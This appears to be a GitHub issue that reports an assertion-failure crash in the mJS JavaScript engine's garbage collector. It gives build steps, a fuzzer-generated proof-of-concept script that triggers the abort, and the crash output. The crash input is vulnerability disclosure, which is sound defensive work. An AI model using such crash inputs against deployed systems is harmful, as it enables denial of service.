mjs icon indicating copy to clipboard operation
mjs copied to clipboard

Assertion `s < mjs->owned_strings.buf + mjs->owned_strings.len' failed src/mjs_gc.c:354: gc_mark_string.

Open hope-fly opened this issue 3 years ago • 0 comments

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps
vim Makefile
DOCKER_GCC=gcc
DOCKER_CLANG=clang
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js

(function () {
  ((function f(a) {
    if (a > 0) {
      if (gc(JSON.stringify({
        translate: ({
          enumerable: [
            !Object.create
          ]
        })
      })) !== f("switch(''){default:break;/*DUPTRY525*/}")('#1.1: -0 - -0 === 0. Actual: ' !== f(a - 1))) {
        f(a - 1)
      }
    }
  })(6))
})()

Execution steps & Output
$ ./mjs/build/mjs poc.js
mjs: src/mjs_gc.c:354: gc_mark_string: Assertion `s < mjs->owned_strings.buf + mjs->owned_strings.len' failed.
[1]    68013 abort      mjs poc.js

Credits: Found by OWL337 team.

hope-fly avatar Dec 31 '21 05:12 hope-fly